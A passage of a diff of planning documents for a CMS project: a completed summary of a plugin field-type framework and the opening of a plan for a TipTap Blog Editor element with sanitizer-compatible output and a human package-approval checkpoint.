- admin/src/app/pluginAssets.ts
|
||||
- admin/src/main.ts
|
||||
- admin/src/views/LoginView.vue
|
||||
- admin/src/views/FormView.vue
|
||||
- admin/src/components/form/registry.ts
|
||||
- admin/src/components/form/FieldRenderer.vue
|
||||
- admin/src/components/form/PreviewField.vue
|
||||
- admin/src/components/form/FormField.vue
|
||||
- admin/src/components/form/FormGrid.vue
|
||||
- admin/src/components/form/formState.ts
|
||||
- admin/src/components/form/formContext.ts
|
||||
- admin/src/components/form/mlLocale.ts
|
||||
- admin/src/components/form/fields/MLField.vue
|
||||
- admin/src/components/relation/RelationChildModal.vue
|
||||
- admin/tests/form/FormField.test.ts
|
||||
- admin/tests/form/formState.test.ts
|
||||
- admin/tests/list/CellValue.test.ts
|
||||
- modules/boardwalk/dist
|
||||
- docs/backend/forms.md
|
||||
- docs/backend/lists-and-filters.md
|
||||
|
||||
key-decisions:
|
||||
- "pact.FormFieldType.ListValue is func(ctx context.Context, value any) string (human adjust at the Task 1 checkpoint); plans 03, 05 and 06 must use the ctx form"
|
||||
- "The plugin field type registry is built per Activate by compileFieldTypes and passed down; CompileForm, compileRegistry, compileList, compileRelations and compileSetting keep their signatures as nil-registry wrappers"
|
||||
- "Only a pact.FormFieldError from Decode or Upload is a 422 (messages localized); every other plugin error, Load errors included, is the opaque lifecycle 500"
|
||||
- "Untouched values (D-03 server half) are skipped on update when the canonical encoding/json of the submitted value equals the served value (stored host value or exact translation, then Load)"
|
||||
- "FieldTypesResponse is the GET /field-types envelope {data, meta}; FieldUploadResponse is the upload data object {url}, served as Envelope[FieldUploadResponse]"
|
||||
|
||||
patterns-established:
|
||||
- "Plugin field type: alias + element + assets + options + Go funcs; cabana owns routes, permissions, scope, locale storage, notices and the untouched skip"
|
||||
- "Element contract: value property, plain attributes, summer-change, summer-upload/summer-upload-result; no credentials, --c-* only"
|
||||
|
||||
requirements-completed: [D-03, D-06, D-10, D-11, D-12, D-13, D-14, D-15, D-18]
|
||||
|
||||
coverage:
|
||||
- id: D1
|
||||
description: "pact field type API and cabana boot checks: alias collisions (two plugins, core type), element prefix, unknown keys, CheckOptions errors, settings/relation refusal"
|
||||
requirement: D-11
|
||||
verification:
|
||||
- kind: unit
|
||||
ref: "modules/cabana/field_type_smoke_test.go#TestFieldTypeTracerSmoke"
|
||||
status: pass
|
||||
human_judgment: false
|
||||
- id: D2
|
||||
description: "Save decodes plugin values (FormFieldError 422, opaque 500 otherwise), meta.notices only when a type reported something, Show/save serve through Load, GET /field-types and form schema keys"
|
||||
requirement: D-12
|
||||
verification:
|
||||
- kind: unit
|
||||
ref: "modules/cabana/field_type_smoke_test.go#TestFieldTypeTracerSmoke"
|
||||
status: pass
|
||||
- kind: unit
|
||||
ref: "modules/cabana/example_field_type_test.go#ExampleCompileFormWithTypes"
|
||||
status: pass
|
||||
human_judgment: false
|
||||
- id: D3
|
||||
description: "Translatable types per locale through the ML path, per-locale notices, untouched skip on update, FieldWritesFromContext in Form hooks, ListValue list columns, upload route (201, 404, 403, CSRF, 413, 422)"
|
||||
requirement: D-14
|
||||
verification:
|
||||
- kind: unit
|
||||
ref: "modules/cabana/field_type_smoke_test.go#TestFieldTypeExpansionSmoke"
|
||||
status: pass
|
||||
human_judgment: false
|
||||
- id: D4
|
||||
description: "Admin SPA: global field type loader, PluginField/MLPluginField, element uploads, save notices under fields and in the toast, stored value reload, plugin list columns as text"
|
||||
requirement: D-13
|
||||
verification:
|
||||
- kind: unit
|
||||
ref: "admin/tests/form/PluginField.test.ts"
|
||||
status: pass
|
||||
- kind: unit
|
||||
ref: "admin/tests/form/FormField.test.ts#save notices"
|
||||
status: pass
|
||||
- kind: unit
|
||||
ref: "admin/tests/form/formState.test.ts#noticeLines"
|
||||
status: pass
|
||||
- kind: unit
|
||||
ref: "admin/tests/list/CellValue.test.ts#plugin field type columns (16.2)"
|
||||
status: pass
|
||||
human_judgment: false
|
||||
- id: D5
|
||||
description: "OpenAPI, schema.d.ts, dist, READMEs and docs/backend/field-types.md describe the API with neutral names"
|
||||
requirement: D-15
|
||||
verification:
|
||||
- kind: other
|
||||
ref: "bash scripts/check-admin-openapi.sh --check && bash scripts/check-admin-dist.sh && go test ./cmd/summer -run TestDocsTree"
|
||||
status: pass
|
||||
human_judgment: false
|
||||
- id: D6
|
||||
description: "Postgres-backed save, show and upload with a real record (id != 0 upload path, real transaction, real translation writer)"
|
||||
verification: []
|
||||
human_judgment: true
|
||||
rationale: "No Docker on this host (RESEARCH Pitfall 11); plan 06 runs these on a Docker host"
|
||||
|
||||
duration: 34min
|
||||
completed: 2026-10-10
|
||||
status: complete
|
||||
---
|
||||
|
||||
# Phase 16.2 Plan 01: Plugin field type framework Summary
|
||||
|
||||
**Plugins register value-bearing admin field types through pact.HasFormFieldTypes; cabana compiles, decodes (with localized meta.notices), loads, lists, uploads and stores them (translatable ones through the ML path, untouched values skipped), and the admin SPA hosts their custom elements globally with uploads and save notices.**
|
||||
|
||||
## Performance
|
||||
|
||||
- **Duration:** 34 min
|
||||
- **Started:** 2026-10-10T08:53:13Z
|
||||
- **Completed:** 2026-10-10T09:27:00Z
|
||||
- **Tasks:** 4 (Task 1 checkpoint resolved by the orchestrator, Tasks 2-4 executed)
|
||||
- **Files modified:** 51 (excluding the rebuilt dist assets)
|
||||
|
||||
## Task 1 checkpoint (resolved)
|
||||
|
||||
Baseline verify was run by the orchestrator (vet passed, 4 PASS lines, clean `git status --porcelain -- modules admin docs scripts`). Human reply, verbatim:
|
||||
|
||||
> adjust: ListValue(ctx context.Context, value any) string
|
||||
|
||||
Final identifier list used by Tasks 2-4: every pact and cabana identifier exactly as in the plan's `<interfaces>` block, except `pact.FormFieldType.ListValue` is `func(ctx context.Context, value any) string` (was `func(value any) string`). The element contract is unchanged (value property; attributes field-name, record-id, locale, ui-locale, options, disabled, invalid; events summer-change, summer-upload, summer-upload-result).
|
||||
|
||||
**Note for plans 03, 05 and 06:** they refer to `ListValue` and must use the ctx form; plan 03's Journal `ListValue` implementation receives `ctx`.
|
||||
|
||||
## Accomplishments
|
||||
|
||||
- pact: `FormFieldType` (Name, Element, Translatable, Scripts, Styles, Options, CheckOptions, Decode, Load, ListValue with ctx, Upload), `FormFieldValue`, `FormFieldDecoded`, `FormFieldNotice`, `FormFieldUpload`, `FormFieldUploadResult`, `FormFieldError`, `HasFormFieldTypes`.
|
||||
- cabana boot: `compileFieldTypes` (alias shape, core-type and cross-plugin collisions naming both plugins, element prefix via `checkWidgetTag`, Decode required, option keys, assets through the extracted `readClientAssets`), passed to `compileRegistryWithTypes`; fields.yaml accepts a plugin alias with the general keys plus its options (`typeOptions`, `element`, `translatable` in the schema); `CheckOptions` at boot; settings and relation forms refuse plugin aliases; `CompileFormWithTypes`.
|
||||
- cabana save/show: `liftPluginValues`, `decodePluginFields` inside the transaction (per locale for translatable types, untouched skip on update via `servedFieldValue`), `localizeNotices` into `RecordMeta.Notices` (`meta.notices`, max 10 per field and locale, 500 runes), `hydratePluginFields` (per locale), `FieldWritesFromContext` for Form hooks, `isMLField` routing translatable types through `liftMLValues`/`applyMLTranslations`/`hydrateMLRecord`.
|
||||
- cabana list and routes: plugin aliases as column types with `ListValue` in `projectRowCtx`; `GET /field-types`; `POST .../{id}/fields/{field}/upload` (`fieldUpload`), annotated, in `phase09Routes`, CSRF inventories updated.
|
||||
- SPA: `loadFieldTypes` after boot and login, `loadGlobalStyles`/`GLOBAL_STYLE_OWNER`, `PluginField` (value/attributes/summer-change/echo rule/uploads), `MLPluginField`, `rendererForField`/`isRegisteredField`/`isMLField`, `noticeLines` with the notice status line in `FormField` and the saved toast, rebuilt `modules/boardwalk/dist`.
|
||||
- Docs: pact and cabana READMEs, new `docs/backend/field-types.md` (registration, aliases, options, Decode/notices/refusal, Load, notices, translatable types, untouched values, companion columns, list columns, uploads, full element contract), links from forms.md and lists-and-filters.md.
|
||||
|
||||
## Task Commits
|
||||
|
||||
1. **Task 1: Confirm the pact API** - resolved by the orchestrator (no commit)
|
||||
2. **Task 2: Tracer** - `1e20ace` (feat, pact), `717d46e` (feat, cabana + docs + OpenAPI), `83fa2f7` (feat, admin SPA + dist)
|
||||
3. **Task 3: Go expansion** - `8fa92db` (feat)
|
||||
4. **Task 4: SPA expansion** - `4adb48a` (feat)
|
||||
|
||||
## Smoke test results
|
||||
|
||||
- `go vet ./...` clean; `TestFieldTypeTracerSmoke` (15 subtests), `TestFieldTypeExpansionSmoke` (14 subtests), `TestPhase09ContractInventory`, `TestPhase09PermissionMatrix`, `TestFormSchemaCompile`, `TestFormSchemaRejects`, `TestListRelationSearchSmoke`, `TestEnabledLocalesDefaultFirstSmoke`, `TestPhase10CSRF`, `ExampleCompileFormWithTypes` pass.
|
||||
- `go test ./...`: the only failures are the testcontainers suites that need Docker (permission denied on /var/run/docker.sock), the same set as before this plan; no non-Docker failure message.
|
||||
- Admin: `npm run typecheck` clean, full vitest suite 77 files / 1190 tests pass, `check-admin-openapi.sh --check`, `check-admin-dist.sh`, `TestDocsTree` and `summer docs:build --check` pass.
|
||||
- Neutral names: `grep -rniE 'journal|grzyby' modules/pact/README.md modules/cabana/README.md docs/backend/field-types.md` prints nothing.
|
||||
|
||||
## Decisions Made
|
||||
|
||||
See key-decisions in the frontmatter. In short: ListValue takes ctx (human), the registry is passed down per boot with nil-registry wrappers for existing callers, only `pact.FormFieldError` is a 422, untouched detection compares canonical JSON with the served value, and the two response types are an envelope (`FieldTypesResponse`) and a data object (`FieldUploadResponse`).
|
||||
|
||||
## Deviations from Plan
|
||||
|
||||
### Auto-fixed Issues
|
||||
|
||||
**1. [Rule 3 - Blocking] Route inventories outside the plan's file list**
|
||||
- **Found during:** Task 3
|
||||
- **Issue:** `TestPhase10CSRF` (counts 29 state-changing routes) and `TestPhase10Coverage/every unsafe mounted route is CSRF-walked` failed once the upload route was mounted.
|
||||
- **Fix:** Added the route to both inventories (29 -> 30).
|
||||
- **Files modified:** modules/cabana/phase10_csrf_test.go, modules/cabana/phase10_coverage_test.go
|
||||
- **Commit:** 8fa92db
|
||||
|
||||
**2. [Rule 3 - Blocking] Docs Go snippets need src= references**
|
||||
- **Found during:** Task 2
|
||||
- **Issue:** TestDocsTree refuses a Go code block without `src=`.
|
||||
- **Fix:** Added `modules/cabana/example_field_type_test.go` (`NotesPlugin.FormFieldTypes`, `ExampleCompileFormWithTypes` with output) and referenced it from docs/backend/field-types.md (synced with `summer docs:sync`).
|
||||
- **Commit:** 717d46e
|
||||
|
||||
**3. [Rule 2 - Correctness] Strict error mapping for plugin code**
|
||||
- **Found during:** Task 2
|
||||
- **Issue:** `lifecycleFailure` passes a plugin-returned `ValidationError` or `ForbiddenError` through; the plan allows only `pact.FormFieldError` to reach the client.
|
||||
- **Fix:** `fieldTypeFailure` maps only `*pact.FormFieldError` (messages localized) to 422; every other Decode/Upload error and every Load error is logged and becomes the opaque lifecycle 500.
|
||||
- **Commit:** 717d46e
|
||||
|
||||
**4. Additional files touched for threading the registry and list values**
|
||||
- modules/cabana/contracts.go (`Registry.fieldTypes`), modules/cabana/relation.go (`compileRelationsWithTypes`), modules/cabana/query.go (`projectRowCtx` with the request ctx for `ListValue`), docs/backend/lists-and-filters.md (plugin column types), admin/tests/list/CellValue.test.ts. `admin/src/views/ListView.vue` needed no change: `CellValue` already renders a column type it does not know as plain text.
|
||||
|
||||
**5. [CLAUDE.md] TDD commit shape**
|
||||
- Tasks 3 and 4 are `tdd="true"`, but CLAUDE.md requires `go test ./...` green at every commit, so no failing RED test was committed. Task 3: the expansion smoke test was written first against compile stubs and failed on the planned behavior (`compile: ... unsupported column type notes`) before the implementation made it pass; test and implementation were committed together. Task 4: the SPA implementation was written before its tests in the same uncommitted change; the tests were then added and pass.
|
||||
|
||||
---
|
||||
|
||||
**Total deviations:** 3 auto-fixed (2 blocking, 1 correctness) plus 2 documented process/scope notes. **Impact:** no change to the planned API or behaviour; extra files are route inventories, a docs example and registry plumbing.
|
||||
|
||||
## Issues Encountered
|
||||
|
||||
- No Docker on this host: the Postgres-backed save, show and upload paths with a real record (the upload route with `{id}` other than 0, a real transaction and translation writer) are covered only by DryRun/unit smoke tests here; full coverage is plan 06 on a Docker host.
|
||||
|
||||
## Known Stubs
|
||||
|
||||
None.
|
||||
|
||||
## Next Phase Readiness
|
||||
|
||||
- Plans 02 (Journal editor element) and 03 (Journal Go integration) can build on this API; plan 03 must implement `ListValue(ctx, value)`.
|
||||
|
||||
## Self-Check: PASSED
|
||||
|
||||
- Created files exist: modules/cabana/field_type.go, modules/cabana/field_type_upload.go, modules/cabana/field_type_smoke_test.go, modules/cabana/example_field_type_test.go, admin/src/app/fieldTypes.ts, admin/src/components/form/fields/PluginField.vue, admin/src/components/form/fields/MLPluginField.vue, admin/tests/form/PluginField.test.ts, docs/backend/field-types.md.
|
||||
- Commits exist: 1e20ace, 717d46e, 83fa2f7, 8fa92db, 4adb48a.
|
||||
@@ -0,0 +1,305 @@
|
||||
---
|
||||
phase: 16.2-plugin-provided-field-types-and-the-blog-editor-formwidget
|
||||
plan: 02
|
||||
type: execute
|
||||
wave: 1
|
||||
depends_on: []
|
||||
coupling_justified: ["16.2-01: shares only the element contract (tag prefix rule, value property, attributes field-name, record-id, locale, ui-locale, options, disabled, invalid, events summer-change, summer-upload, summer-upload-result), which plan 01 fixes per D-13 and its Task 1 checkpoint cannot rename (only pact and cabana Go identifiers, none of which this plan references), so both execution orders produce the same names"]
|
||||
files_modified:
|
||||
- ../sm-journal-plugin/.gitignore
|
||||
- ../sm-journal-plugin/package.json
|
||||
- ../sm-journal-plugin/package-lock.json
|
||||
- ../sm-journal-plugin/tsconfig.json
|
||||
- ../sm-journal-plugin/vite.config.ts
|
||||
- ../sm-journal-plugin/scripts/check-dist.sh
|
||||
- ../sm-journal-plugin/assets/src/blogeditor/index.ts
|
||||
- ../sm-journal-plugin/assets/src/blogeditor/element.ts
|
||||
- ../sm-journal-plugin/assets/src/blogeditor/extensions.ts
|
||||
- ../sm-journal-plugin/assets/src/blogeditor/serializer.ts
|
||||
- ../sm-journal-plugin/assets/src/blogeditor/toolbar.ts
|
||||
- ../sm-journal-plugin/assets/src/blogeditor/embed.ts
|
||||
- ../sm-journal-plugin/assets/src/blogeditor/labels.ts
|
||||
- ../sm-journal-plugin/assets/src/blogeditor/blogeditor.css
|
||||
- ../sm-journal-plugin/assets/dist/blogeditor.js
|
||||
- ../sm-journal-plugin/assets/dist/blogeditor.css
|
||||
- ../sm-journal-plugin/tests/blogeditor/fixtures/imported-post.html
|
||||
- ../sm-journal-plugin/tests/blogeditor/fixtures/editor-corpus.json
|
||||
- ../sm-journal-plugin/tests/blogeditor/smoke.test.ts
|
||||
- ../sm-journal-plugin/tests/blogeditor/corpus.test.ts
|
||||
- ../sm-journal-plugin/admin.go
|
||||
- ../sm-journal-plugin/README.md
|
||||
autonomous: false
|
||||
requirements: [D-01, D-03, D-04, D-05, D-13, D-16, D-18]
|
||||
estimate:
|
||||
tokens: 118000
|
||||
raw_tokens: 118000
|
||||
tasks: 3
|
||||
confidence: low
|
||||
must_haves:
|
||||
truths:
|
||||
- "D-16: the Blog Editor is the custom element golem15-journal-blogeditor built from sm-journal-plugin assets/src with a pinned Vite library build into assets/dist/blogeditor.js and assets/dist/blogeditor.css; the bundle is committed, embedded through admin.go's //go:embed list, and scripts/check-dist.sh fails when assets/dist differs from a fresh build; the host app needs no npm."
|
||||
- "D-01: the element is a WYSIWYG editor on TipTap with a source tab; the source tab shows and edits the exact HTML string."
|
||||
- "D-03: setting value and reading it back without a user edit returns the identical string for the imported-post fixture (footer, style, spans, figures, tables, entities); no summer-change is emitted until a user edit; editing one paragraph leaves every other top-level block of the fixture byte-identical in the output."
|
||||
- "D-04: the toolbar offers headings, bold, italic, bullet and ordered lists, links, blockquote, tables, images, embeds and a raw HTML block; unknown block markup (footer, section, aside, header, nav, details, style, div) becomes a non-editable raw HTML card that renders its source as text."
|
||||
- "D-05: an embed is inserted from a YouTube URL as exactly <figure data-embed=\"youtube\" data-id=\"ID\"></figure> with an 11-character id; the admin editor never renders an iframe."
|
||||
- "D-05 (editor half of the policy cross-check): tests/blogeditor/fixtures/editor-corpus.json holds the editor's own serialized output (embed, image with and without caption, table with header row, links, headings, bullet and ordered lists including one starting at 3, blockquote, inline marks, code, horizontal rule, hard break, and one document combining them); corpus.test.ts rebuilds every entry through editor commands and fails when the committed file differs, so plan 03 (Go policy) and plan 04 (layer mirror) test the real output; links the editor creates use only http, https, mailto or a relative URL."
|
||||
- "D-18 (editor half): an image chosen with the file picker or dropped on the editor is sent as summer-upload {id, file}; on summer-upload-result {id, url} the editor inserts an img with alt text, inside figure with figcaption when a caption is given; on {id, error} it shows the error and inserts nothing."
|
||||
- "D-13: the element follows the documented contract (value property, attributes field-name, record-id, locale, ui-locale, options, disabled, invalid; events summer-change, summer-upload) and styles only through --c-* variables under its tag."
|
||||
artifacts:
|
||||
- path: "../sm-journal-plugin/assets/dist/blogeditor.js"
|
||||
provides: "committed editor bundle"
|
||||
contains: "golem15-journal-blogeditor"
|
||||
- path: "../sm-journal-plugin/scripts/check-dist.sh"
|
||||
provides: "dist drift gate"
|
||||
contains: "diff -r"
|
||||
- path: "../sm-journal-plugin/assets/src/blogeditor/serializer.ts"
|
||||
provides: "lossless serializer with top-level block reuse"
|
||||
contains: "serializeDocument"
|
||||
- path: "../sm-journal-plugin/admin.go"
|
||||
provides: "embed of the editor bundle"
|
||||
contains: "assets/dist/blogeditor.js"
|
||||
- path: "../sm-journal-plugin/tests/blogeditor/fixtures/editor-corpus.json"
|
||||
provides: "the editor's own output, checked against both sanitizer policies"
|
||||
contains: "data-embed"
|
||||
key_links:
|
||||
- from: "../sm-journal-plugin/tests/blogeditor/fixtures/editor-corpus.json"
|
||||
to: "plan 03 classes/editor_policy_test.go and plan 04 vue-journal-layer tests/fixtures/editor-corpus.json"
|
||||
via: "the Go test reads it in place; the layer keeps a byte copy that the phase gate compares"
|
||||
pattern: "editor-corpus.json"
|
||||
- from: "../sm-journal-plugin/admin.go adminFS"
|
||||
to: "../sm-journal-plugin/assets/dist/blogeditor.js"
|
||||
via: "//go:embed line, served by cabana as a field-type script (plan 03 declares it)"
|
||||
pattern: "assets/dist/blogeditor"
|
||||
- from: "golem15-journal-blogeditor summer-upload"
|
||||
to: "admin SPA PluginField (plan 01)"
|
||||
via: "bubbling CustomEvent answered with summer-upload-result"
|
||||
pattern: "summer-upload"
|
||||
prohibitions:
|
||||
- statement: "The editor never re-serializes an untouched document and never uses editor.getHTML() as the stored value."
|
||||
status: unresolved
|
||||
verification: judgment
|
||||
- statement: "The bundle uses no eval or new Function and injects no style tag (admin CSP script-src 'self'; injectCSS false)."
|
||||
status: unresolved
|
||||
verification: judgment
|
||||
- statement: "The element renders no iframe and no live raw HTML in the admin; raw blocks show escaped text."
|
||||
status: unresolved
|
||||
verification: judgment
|
||||
- statement: "The element never asks for, stores or sends credentials and never calls the public Journal media API itself."
|
||||
status: unresolved
|
||||
verification: judgment
|
||||
---
|
||||
|
||||
## Phase Goal
|
||||
|
||||
ROADMAP Goal (not in user-story format): plugins can register their own admin form field types, and the Journal plugin ships a first-class Blog Editor formwidget for post content that edits imported HTML posts losslessly.
|
||||
|
||||
This plan's slice (user decision 1, plan 02): the Blog Editor custom element in `../sm-journal-plugin` (`assets/src` to `assets/dist`), with its own JS build, tests and drift gate, embedded in the plugin. Plan 03 registers it as the `blogeditor` and `mlblogeditor` field types.
|
||||
|
||||
## Revision 2026-10-10 (16.1 drift, CONTEXT D-05 and D-10 amended)
|
||||
|
||||
The server no longer refuses unsafe markup. 16.1 replaced the regex gate with a bluemonday policy (`classes.SanitizeHTML`), and under amended D-10 every admin save stores the sanitized value and reports what was removed. Anything the editor writes that the policy does not allow would therefore vanish silently on save. Amended D-05 requires the editor's own output to pass both the Go policy and the layer's sanitize-html mirror byte for byte. This plan now (1) records that output as a committed corpus that plan 03 and plan 04 test against, and (2) limits the links the editor creates to the URL schemes both policies allow. The element still never sanitizes. Where RESEARCH or PATTERNS describe CheckHTML refusing, this plan's text wins.
|
||||
|
||||
## Spec-less probe fallback
|
||||
|
||||
Visible skip: "spec-less probe fallback skipped: phase has no requirement IDs to probe". Prohibitions above are recalled in-prompt and descriptor-less (flagged-unverified).
|
||||
|
||||
## Decisions recorded here (Claude's discretion)
|
||||
|
||||
- **TipTap version (user decision 6):** keep 3.31.4, the version RESEARCH probed (lossiness, emitUpdate, trailingNode), behind a blocking human package check before the first install. An older 3.x was never probed, so pinning one would trade a known release-age flag for unverified behaviour.
|
||||
- **Embed markup and allowlist (D-05):** exactly `<figure data-embed="youtube" data-id="ID"></figure>`, attributes in that order, no caption, id matching `^[A-Za-z0-9_-]{11}$`. YouTube is the only provider; the provider table in `embed.ts` and in the layer (plan 04) has one entry so another provider is one entry in each.
|
||||
- **Untouched detection (D-03):** the element keeps the exact served string and returns it until a user edit (client layer); cabana also skips values equal to what it served (plan 01).
|
||||
- **Top-level block reuse (RESEARCH A3):** included. Unedited top-level blocks keep their original bytes after an edit elsewhere.
|
||||
- **Image without caption:** a plain `img` block; with a caption, `figure` with `img` and `figcaption`.
|
||||
- **Links the editor creates (D-05, D-10 amended):** only `http`, `https`, `mailto` and relative URLs, the schemes both sanitizer policies keep; no `target`, `rel` or `class` is added. A stored link with another scheme, or with `target`/`rel`, is preserved in the editor but stripped by the server if the post is saved after an edit.
|
||||
- **Policy corpus (D-05):** the editor's own output is committed as `tests/blogeditor/fixtures/editor-corpus.json`, rebuilt and compared by `corpus.test.ts` (set `UPDATE_CORPUS=1` to rewrite it). The imported-post fixture is deliberately not in it: it holds legacy markup (the style block, `target`, `rel`) that the server strips on an edited save.
|
||||
|
||||
## Artifacts this phase produces (this plan)
|
||||
|
||||
- Custom element `golem15-journal-blogeditor` (class `BlogEditorElement`), registered once by `assets/src/blogeditor/index.ts`.
|
||||
- `assets/src/blogeditor/extensions.ts`: `preservationExtensions()`, nodes `rawHtml`, `figure`, `figcaption`, `embed`, mark `span`, extension `htmlAttributes` (global attribute map), table render override.
|
||||
- `assets/src/blogeditor/serializer.ts`: `serializeDocument(editor, original)`, `captureBlocks(html, schema)`.
|
||||
- `assets/src/blogeditor/embed.ts`: `EMBED_PROVIDERS`, `parseEmbedUrl(url)`.
|
||||
- `assets/src/blogeditor/labels.ts`: `labelsFor(uiLocale)` with `en` and `pl` tables.
|
||||
- `assets/src/blogeditor/toolbar.ts`: `buildToolbar(...)`.
|
||||
- Build files: `package.json`, `package-lock.json`, `tsconfig.json`, `vite.config.ts` (build and vitest config), `scripts/check-dist.sh`, `.gitignore`.
|
||||
- Committed bundle: `assets/dist/blogeditor.js`, `assets/dist/blogeditor.css`.
|
||||
- Test files: `tests/blogeditor/fixtures/imported-post.html`, `tests/blogeditor/smoke.test.ts`, `tests/blogeditor/corpus.test.ts`.
|
||||
- Corpus: `tests/blogeditor/fixtures/editor-corpus.json` (array of `{name, html}`), `isPolicyUrl(url)` in `extensions.ts` (the link URL rule).
|
||||
|
||||
<objective>
|
||||
Build the Blog Editor custom element (D-01, D-03, D-04, D-05, D-13, D-16, D-18 editor half) as sm-journal-plugin's own JS build with a committed, embedded bundle.
|
||||
|
||||
Purpose: plan 03 registers this element as the Journal post and category content field type.
|
||||
Output: package setup, element source, preservation schema and serializer, upload and embed UI, vitest smoke tests, committed dist, drift gate, embed line, README section.
|
||||
</objective>
|
||||
|
||||
<execution_context>
|
||||
@~/.claude/msd-core/workflows/execute-plan.md
|
||||
@~/.claude/msd-core/templates/summary.md
|
||||
</execution_context>
|
||||
|
||||
<context>
|
||||
@.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-CONTEXT.md
|
||||
@.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-RESEARCH.md
|
||||
@.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-PATTERNS.md
|
||||
|
||||
Repository: `../sm-journal-plugin` (branch main). Commits there: no co-author tags, stage by explicit path, one logical change per commit. It has no `.gitignore` today; add one with `node_modules/` before the first install. The Go module builds against `../summercms.go` through `go.work`.
|
||||
|
||||
<interfaces>
|
||||
Element contract (identical to plan 01's interfaces block; plan 01 documents it in docs/backend/field-types.md). Fixed for this phase: plan 01's Task 1 checkpoint may rename only pact and cabana Go identifiers, never these names, so this plan runs in parallel with plan 01 against them. If plan 01's SUMMARY or checkpoint reply ever lists a change to any name below, stop and report instead of guessing.
|
||||
- Property `value` (string). Attributes `field-name`, `record-id`, `locale`, `ui-locale`, `options` (JSON), `disabled`, `invalid`.
|
||||
- Events (bubbling CustomEvent): `summer-change` detail `{value}` on user edits only; `summer-upload` detail `{id, file}`; the SPA answers on the element with `summer-upload-result` detail `{id, url}` or `{id, error}`.
|
||||
- Setting `value` to the string the element currently returns is a no-op (no reset, no event).
|
||||
|
||||
Embed placeholder (stored markup, consumed by the layer in plan 04):
|
||||
|
||||
```html
|
||||
<figure data-embed="youtube" data-id="dQw4w9WgXcQ"></figure>
|
||||
```
|
||||
|
||||
Element skeleton (RESEARCH Code Example 3, the value logic to keep):
|
||||
|
||||
```ts
|
||||
get value(): string { return this.#dirty ? serializeDocument(this.#editor!, this.#blocks) : this.#value }
|
||||
set value(v: string) {
|
||||
if (v === this.value) return // echo of our own summer-change
|
||||
this.#value = v; this.#dirty = false
|
||||
this.#editor?.commands.setContent(v, { emitUpdate: false })
|
||||
}
|
||||
// onUpdate({ transaction }): if (!transaction.docChanged) return; dirty = true; dispatch summer-change
|
||||
```
|
||||
|
||||
Pinned toolchain (same versions as summercms.go/admin/package.json): vite 7.3.5, vitest 3.2.7, happy-dom 20.11.6, typescript 5.9.3. Editor packages (exact): @tiptap/core, @tiptap/pm, @tiptap/starter-kit, @tiptap/extension-table, @tiptap/extension-image, all 3.31.4.
|
||||
|
||||
Policy the server applies on save (plan 03, sm-journal-plugin classes/format_html.go `SanitizeHTML`, the bluemonday UGC policy plus the Journal extensions in `newHTMLPolicy`): it strips what it does not allow and never refuses (D-10 amended). Stripped are, among others, `script`, `style`, `iframe`, `object`, `embed`, `form`, `svg`, comments, every `on*` attribute, `target` and `rel` on links, `alt` values outside UGC's Paragraph pattern, `start` on `ol`, `data-*` on `figure`, and URLs other than http, https, mailto and relative. Plan 03 extends the policy for exactly this element's own output: `figure` `data-embed` (`youtube`) and `data-id` (11 characters `[A-Za-z0-9_-]`), `img` `alt` with any text, and `ol` `start` (integer); plan 04 mirrors the same four in the layer. The save response then names what was removed and the SPA sets the stored value back into the element through the value property (plan 01). The element does not try to rewrite content.
|
||||
</interfaces>
|
||||
</context>
|
||||
|
||||
<tasks>
|
||||
|
||||
<task type="checkpoint:human-verify" gate="blocking-human">
|
||||
<name>Task 1: Package legitimacy check before the first TipTap install (all @tiptap packages flagged too-new)</name>
|
||||
<read_first>.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-RESEARCH.md (Package Legitimacy Audit, Standard Stack), ../summercms.go/admin/package.json (the approved toolchain pins)</read_first>
|
||||
<action>Do not install anything. Run the read-only registry query in the verify command and print, for each of @tiptap/core, @tiptap/pm, @tiptap/starter-kit, @tiptap/extension-table and @tiptap/extension-image at 3.31.4: version, license, repository URL, publish time, and the scripts object (preinstall, install and postinstall must be absent). Print the npm pages for the human: https://www.npmjs.com/package/@tiptap/core, https://www.npmjs.com/package/@tiptap/pm, https://www.npmjs.com/package/@tiptap/starter-kit, https://www.npmjs.com/package/@tiptap/extension-table, https://www.npmjs.com/package/@tiptap/extension-image, and the release list https://github.com/ueberdosis/tiptap/releases. State the recorded choice: 3.31.4 is kept because it is the version the research probed; the flag is the release age (published 2026-09-30), not the packages. Stop for the human. This checkpoint is never auto-approved.</action>
|
||||
<what-built>Nothing yet: a read-only registry report for the five editor packages.</what-built>
|
||||
<how-to-verify>Open each npm page: the publisher is the TipTap organisation (ueberdosis), the repository is github.com/ueberdosis/tiptap, the license is MIT, version 3.31.4 exists and has normal weekly downloads, and the package has no install scripts. Check the GitHub release notes for 3.31.4 for any security advisory or yanked release.</how-to-verify>
|
||||
<resume-signal>Reply "packages approved" to install 3.31.4, "use X.Y.Z" to pin another 3.x release for all five packages (the executor re-runs the query for it), or "stop".</resume-signal>
|
||||
<verify>
|
||||
<automated>for p in @tiptap/core @tiptap/pm @tiptap/starter-kit @tiptap/extension-table @tiptap/extension-image; do npm view "$p@3.31.4" version license repository.url --json || exit 1; npm view "$p@3.31.4" scripts --json | grep -E '"(preinstall|install|postinstall)"' && exit 1; done; echo registry-ok</automated>
|
||||
<fails_when>Non-zero exit or "registry-ok" absent: a package or version is missing from the registry, or a package declares a preinstall, install or postinstall script.</fails_when>
|
||||
</verify>
|
||||
<acceptance_criteria>
|
||||
- The verify printed registry-ok and the SUMMARY records each package's license and repository URL.
|
||||
- The SUMMARY records the human's reply verbatim and the version that Task 2 installs.
|
||||
</acceptance_criteria>
|
||||
<done>A human approved the editor packages and their version, or stopped the plan.</done>
|
||||
</task>
|
||||
|
||||
<task type="tracer">
|
||||
<name>Task 2: Tracer: element source to committed, embedded bundle, with the untouched-value contract proven on an imported post</name>
|
||||
<precondition>Task 1 was answered "packages approved" or "use X.Y.Z"; `node --version` reports v22.6 or later.</precondition>
|
||||
